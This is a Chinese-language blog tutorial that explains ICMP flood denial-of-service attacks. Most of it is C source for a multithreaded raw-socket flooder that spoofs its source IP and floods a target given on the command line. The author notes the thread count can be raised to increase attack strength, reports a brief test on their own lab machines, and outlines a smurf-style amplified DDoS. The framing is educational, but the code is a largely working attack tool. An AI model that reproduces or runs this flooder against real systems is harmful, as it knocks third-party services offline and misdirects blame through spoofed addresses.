我的上一篇文章《Linux編程之PING的實現》里使用ICMP協議實現了PING的程式,ICMP除了實現這麼一個PING程式,還有哪些不為人知或者好玩的用途?這裡我將介紹ICMP另一個很有名的黑科技:ICMP洪水攻擊。 ICMP洪水攻擊屬於大名鼎鼎的DOS(Denial of Service)攻擊的 ...
我的上一篇文章《Linux編程之PING的實現》里使用ICMP協議實現了PING的程式,ICMP除了實現這麼一個PING程式,還有哪些不為人知或者好玩的用途?這裡我將介紹ICMP另一個很有名的黑科技:ICMP洪水攻擊。 ICMP洪水攻擊屬於大名鼎鼎的DOS(Denial of Service)攻擊的一種,一種是黑客們喜歡的攻擊手段,這裡本著加深自己對ICMP的理解的目的,也試著基於ICMP寫一段ICMP的洪水攻擊小程式。 洪水攻擊(FLOOD ATTACK)指的是利用電腦網路技術向目的主機發送大量無用數據報文,使得目的主機忙於處理無用的數據報文而無法提供正常服務的網路行為。 ICMP洪水攻擊:顧名思義,就是對目的主機發送洪水般的ping包,使得目的主機忙於處理ping包而無能力處理其他正常請求,這就好像是洪水一般的ping包把目的主機給淹沒了。 要實現ICMP的洪水攻擊,需要以下三項的知識儲備:
- DOS攻擊原理
- ICMP的深入理解
- 原始套接字的編程技巧
void DoS_icmp_pack(char* packet) { struct ip* ip_hdr = (struct ip*)packet; struct icmp* icmp_hdr = (struct icmp*)(packet + sizeof(struct ip)); ip_hdr->ip_v = 4; ip_hdr->ip_hl = 5; ip_hdr->ip_tos = 0; ip_hdr->ip_len = htons(ICMP_PACKET_SIZE); ip_hdr->ip_id = htons(getpid()); ip_hdr->ip_off = 0; ip_hdr->ip_ttl = 64; ip_hdr->ip_p = PROTO_ICMP; ip_hdr->ip_sum = 0; ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP);; //偽裝源地址 ip_hdr->ip_dst.s_addr = dest; //填入要攻擊的目的主機地址 icmp_hdr->icmp_type = ICMP_ECHO; icmp_hdr->icmp_code = 0; icmp_hdr->icmp_cksum = htons(~(ICMP_ECHO << 8));//註意這裡,因為數據部分為0,我們就簡化了一下checksum的計算了 }
2.搭建發包線程
void Dos_Attack() { char* packet = (char*)malloc(ICMP_PACKET_SIZE); memset(packet, 0, ICMP_PACKET_SIZE); struct sockaddr_in to; DoS_icmp_pack(packet); to.sin_family = AF_INET; to.sin_addr.s_addr = dest; to.sin_port = htons(0); while(alive) //控制發包的全局變數 { sendto(rawsock, packet, ICMP_PACKET_SIZE, 0, (struct sockaddr*)&to, sizeof(struct sockaddr)); } free(packet); //記得要釋放記憶體 }
3.編寫發包開關 這裡的開關很簡單,用信號量+全局變數即可以實現。當我們按下ctrl+c時,攻擊將關閉。
void Dos_Sig() { alive = 0; printf("stop DoS Attack!\n"); }
4.總的架構 我們使用了64個線程一起發包,當然這個線程數還可以大大增加,來增加攻擊強度。但我們只是做做實驗,沒必要搞那麼大。
int main(int argc, char* argv[]) { struct hostent* host = NULL; struct protoent* protocol = NULL; int i; alive = 1; pthread_t attack_thread[THREAD_MAX_NUM]; //開64個線程同時發包 int err = 0; if(argc < 2) { printf("Invalid input!\n"); return -1; } signal(SIGINT, Dos_Sig); protocol = getprotobyname(PROTO_NAME); if(protocol == NULL) { printf("Fail to getprotobyname!\n"); return -1; } PROTO_ICMP = protocol->p_proto; dest = inet_addr(argv[1]); if(dest == INADDR_NONE) { host = gethostbyname(argv[1]); if(host == NULL) { printf("Invalid IP or Domain name!\n"); return -1; } memcpy((char*)&dest, host->h_addr, host->h_length); } rawsock = socket(AF_INET, SOCK_RAW, PROTO_ICMP); if(rawsock < 0) { printf("Fait to create socket!\n"); return -1; } setsockopt(rawsock, SOL_IP, IP_HDRINCL, "1", sizeof("1")); printf("ICMP FLOOD ATTACK START\n"); for(i=0;i<THREAD_MAX_NUM;i++) { err = pthread_create(&(attack_thread[i]), NULL, (void*)Dos_Attack, NULL); if(err) { printf("Fail to create thread, err %d, thread id : %d\n",err, attack_thread[i]); } } for(i=0;i<THREAD_MAX_NUM;i++) { pthread_join(attack_thread[i], NULL); //等待線程結束 } printf("ICMP ATTACK FINISHI!\n"); close(rawsock); return 0; }
三、實驗 本次實驗本著學習的目的,想利用自己手上的設備,想進一步理解網路和協議的應用,所以攻擊的幅度比較小,時間也就幾秒,不對任何設備造成影響。 再說一下我們的攻擊步驟:我們使用主機172.0.5.183作為自己的攻擊主機,並將自己偽裝成主機172.0.5.182,對主機172.0.5.9發起ICMP洪水攻擊。 攻擊開始 我們觀察一下”受害者“那邊的情況。在短短5秒里,正確收到並交付上層處理的包也高達7萬多個了。我也不敢多搞事,避免影響機器工作。 使用wireshark抓包再瞧一瞧,滿滿的ICMP包啊,看來量也是很大的。ICMP包的源地址顯示為172.0.5.182(我們偽裝的地址),它也把echo reply回給了172.0.5.182。主機172.0.5.182肯定會想,莫名其妙啊,怎麼收到這麼多echo reply包。 攻擊實驗做完了。 現在更為流行的是DDOS攻擊,其威力更為強悍,策略更為精巧,防禦難度也更加高。 其實,這種DDoS攻擊也是在DOS的基礎上發起的,具體步驟如下: 1. 攻擊者向“放大網路”廣播echo request報文 2. 攻擊者指定廣播報文的源IP為被攻擊主機 3. “放大網路”回覆echo reply給被攻擊主機 4. 形成DDoS攻擊場景 這裡的“放大網路”可以理解為具有很多主機的網路,這些主機的操作系統需要支持對目的地址為廣播地址的某種ICMP請求數據包進行響應。 攻擊策略很精妙,簡而言之,就是將源地址偽裝成攻擊主機的IP,然後發廣播的給所有主機,主機們收到該echo request後集體向攻擊主機回包,造成群起而攻之的情景。